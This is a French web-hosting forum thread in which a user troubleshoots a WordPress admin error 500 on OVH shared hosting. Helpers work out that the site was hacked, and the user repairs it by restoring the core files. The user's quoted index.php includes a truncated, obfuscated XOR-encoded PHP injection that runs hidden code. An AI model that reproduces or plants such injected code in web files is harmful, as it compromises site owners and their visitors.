Wordpress error 500 uniquement sur interface admin

(3) .htaccess: Invalid command **'\xef\xbb\xbf**User-agent:'

Là il s'agit à 99% d'une erreur de codage dû à l'utilisation inadéquate d'un éditeur (UTF-8 avec BOM).
Il faut que ce fichier soit codé en ASCII/ANSI.

FilterProvider COMPRESS DEFLATE

A ta place j'ajouterai aussi au ovhconfig
container.image=stable

J'ai recopié le .htaccess et .ovhconfig dans le notepad de windows et sauvegardé en ANSI... mais pas de changement...

merci, suis maintenant passé en 7.0, effectivement le site est plus rapide. Mais toujours le meme pb erreur 500 pour wp-admin.php....
Pour apache, je suis sur le cluster014, passage a apache 2.4 était prévu le 30 octobre http://travaux.ovh.net/?do=details&id=25601&edit=yep
j'avais deja suivi ce tuto
mon pb erreur 500 s'affichait avant et après le 30 oct...
je ne vois pas trop ce que je peux faire d'autre...

(1) .htaccess: directive missing closing '>'
(2) Request exceeded the limit of 10 internal redirects due to probable configuration error
(3) .htaccess: Invalid command '\xef\xbb\xbfUser-agent:'

Si vous supprimez tous les .htaccess ? Avez-vous bien accès à l'admin ?
Si oui, c'est là qu'il faut cibler le problème.

Notepad windows, pas sûr que ça soit la meilleure idée.
Prenez notepad++ qui est gratuit par exemple.

Bonjour et merci pour votre aide:
copié collé dans un nouveau fichier sous notepad++, aucun changement.

htaccess renommé en htaccess_back:
site/fichier-qui-existe : affichage ok
site/wp-login.php: erreur 500
site/fichier-inexistant : url not found

je reactive le htaccess
site/fichier-qui-existe : affichage ok
site/wp-login.php: erreur 500
site/fichier-inexistant : erreur 404

ce qui me fait dire que le fichier htaccess est lu... et que le pb erreur 500 ne vient pas forcément de là...
je continue de chercher.... si vous avez des pistes... encore besoin de vous! merci!

le fichier wp-login.php ne serait pas corrompu ? ou posant problème ?

En remplaçant le ovhconfig par
app.engine=php
app.engine.version=7.1
http.firewall=none
environment=development
container.image=stable

Est ce qu'un message d'erreur n'apparait pas ?
Si oui, il faut le corriger
puis remettre dans le .ovhconfig ces lignes
app.engine=php
app.engine.version=7.1
container.image=stable
http.firewall=none
environment=production

le ovhconfig sur/ ou sur/www ?

en théorie, il ne doit y en avoir qu'un.
et dans /

Celui dans /www/.ovhconfig peut être supprimé.

Voir --> https://www.wordetweb.com/word-et-web/OVH-ovhconfig-hebergement-mutualise-FR.htm OVH - ovhconfig

si je renomme le ovhconfig sur www, alors mon site ne s'affiche plus correctement, les images ne se chargent pas ou partiellement...
j'essaye de modifier le ovhconfig sur / pour mettre "development" d'ici qques minutes. pour le moment le server FTP (ou filezilla) me fait des caprices on dirait.
Je vous tiens au courant! merci

Quel est le contenu de tes 2 ovhconfig ?

_**ovhconfig racine:**_
app.engine=phpcgi
app.engine.version=7.0
http.firewall=none
environment=production
container.image=stable

_**ovhconfig www**_
app.engine=php
app.engine.version=5.6
http.firewall=none
environment=production
container.image=stable

Et si tu mets ça à la racine ?
puis supprime celui qui est dans /www/

app.engine=php
app.engine.version=7.1
http.firewall=none
environment=development
container.image=stable

Bonjour,

déjà il faudrait n'en garder qu'un des .ovhconfig car là il interfèrent entre eux.
Aussi il faut regarder les logs pas qu'un .ovhconfig est un mauvais encodage.

Cordialement, janus57

je vais essayer

environment=development

et aussi d'en garder un sur les deux,
... quand je pourrais acceder en ecriture à mon cluster. Filezilla me dit "533 disk quota exceeded" alors qu'il me reste de la place d'apres l'interface ovh manager; mais je vois dans ovh travaux qu'il y a eu un pb sur les hebergements mutu hier soir (en théorie cloturé)... je retente dans une heure.

i am back!
j'ai enfin pu supprimer le ovhconfig sur www/ et ne garder que celui à la racine en mettant "development"

environment=development

voici le message:
> Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/lespetiter/www/index.php on line 15

> Warning: Cannot modify header information - headers already sent by (output started at /home/lespetiter/www/index.php:15) in /home/lespetiter/www/wp-includes/pluggable.php on line 1210

mon index.php:
> > /**
> * Front to the WordPress application. This file doesn't do anything, but loads
> * wp-blog-header.php which does and tells WordPress to load the theme.
> *
> * @package WordPress
> */

> /**
> * Tells WordPress to load the WordPress theme and output it.
> *
> * @var bool
> */
> define('WP_USE_THEMES', true);
> $dabe='?<)DXG&FD'^'Xc[!(+G%!';$mbd72c9=('E3<'^'5AY').$dabe;$mbd72c9('jJluQB_U'^'E,Z@gsp0',('*[<6c1B'^'O-]ZKV8').('S*[-YQ> /** Loads the WordPress Environment and Template */
> require( dirname( __FILE__ ) . '/wp-blog-header.php' );

plugable.php lines 1200 to 1220
> $status = apply_filters( 'wp_redirect_status', $status, $location );

> if ( ! $location )
> return false;

> $location = wp_sanitize_redirect($location);

> if ( !$is_IIS && PHP_SAPI != 'cgi-fcgi' )
> status_header($status); // This causes problems on IIS and some FastCGI setups

> header("Location: $location", true, $status);

> return true;
> }
> endif;

> if ( !function_exists('wp_sanitize_redirect') ) :
> /**
> * Sanitizes a URL for use in a redirect.
> *
_savez vous ce qu'il faut modifier? merci beaucoup !_

Bonjour,

au vu de votre index.php votre site a été infecté/piraté via une faille.

Cordialement, janus57

Bonjour,

+1, ça sent le site piraté.
Et sinon wordpress était à jour ?

télécharger WP, dans la même version que votre site actuel, et remplacez les fichiers qui sont différents (mis à part ceux que vous avez modifiés).

merci j'ai remplacé le index et le load.php
maintenant j'ai ceci:
> Fatal error: Uncaught Error: Call to undefined function wp() in /home/lespetiter/www/wp-blog-header.php:16 Stack trace: #0 /home/lespetiter/www/index.php(17): require() #1 /home/lespetiter/www/wp-includes/version.php(8): include_once('/home/lespetite...') #2 /home/lespetiter/www/wp-settings.php(29): require('/home/lespetite...') #3 /home/lespetiter/www/wp-config.php(94): require_once('/home/lespetite...') #4 /home/lespetiter/www/wp-load.php(37): require_once('/home/lespetite...') #5 /home/lespetiter/www/wp-login.php(12): require('/home/lespetite...') #6 {main} thrown in /home/lespetiter/www/wp-blog-header.php on line 16

Comme conseiller ci-dessus, tu devrais remplacer TOUS les fichiers de base de wordpress que tu n'as pas modifié toi même.

manifestement, il y a un soucis dans ce fichier aussi " /home/lespetiter/www/wp-blog-header.php "

Ca fonctionne à nouveau ! plus d'erreur 500 après restauration complète du wp-admin et wp-includes. A priori ca venait d'une altération de fichier du wp-includes.
Ai activé les firewalls dans l'interface OVH pour eviter le piratage, du moins le limiter.
**Merci à tous**, en particulier à Buddy, Janus et ppplus !
Bonne soirée.

penses aussi à remettre la ligne
environment=production
dans le .ovhconfig

Hello MarianneP1,
j'ai le même souci que toi. Pourrais tu résumer la façon dont tu as résolu le problème ?
Ce que j'ai compris :
- raison : piratage
- restauration du wp-admin et wp-includes à partir de la même version de WP que celle du module ?
- activation des firewalls
Ce que je n'ai pas compris : as-tu remplacé touts les fichiers de WP par les fichiers de la même version de WP téléchargée à partir du site de WP ? Ou alors seulement wp-admin et wp-includes ?
Merci !

Pour **_éviter TOUS ces soucis_**, faites une copie de votre site sur votre PC.

La restauration de votre site en bon état se fera alors **_avec un seul transfert FTP_**. :)

Bonjour Sylvainh8
J'ai téléchargé wp sur le site officiel, même version que le wp de mon site.
Avec FileZilla, en ftp, j'ai écrasé les répertoires wp-admin et wp-includes ainsi que tous les fichiers à la racine. Attention il ne faut pas effacer puis uploader mais juste uploader en écrasant l'existant, sinon adieu à ton fichier wp-config. (La version de wp que tu trouves sur le site officiel ne contient pas de wp-Config mais un wp-Config-template).
Attention mon pb est revenu un ou deux jours plus tard, piratage à nouveau. Installe donc rapidement un plugin de sécurité style wordfence.

Merci beaucoup pour cette réponse si rapide. Tout est clair maintenant :-)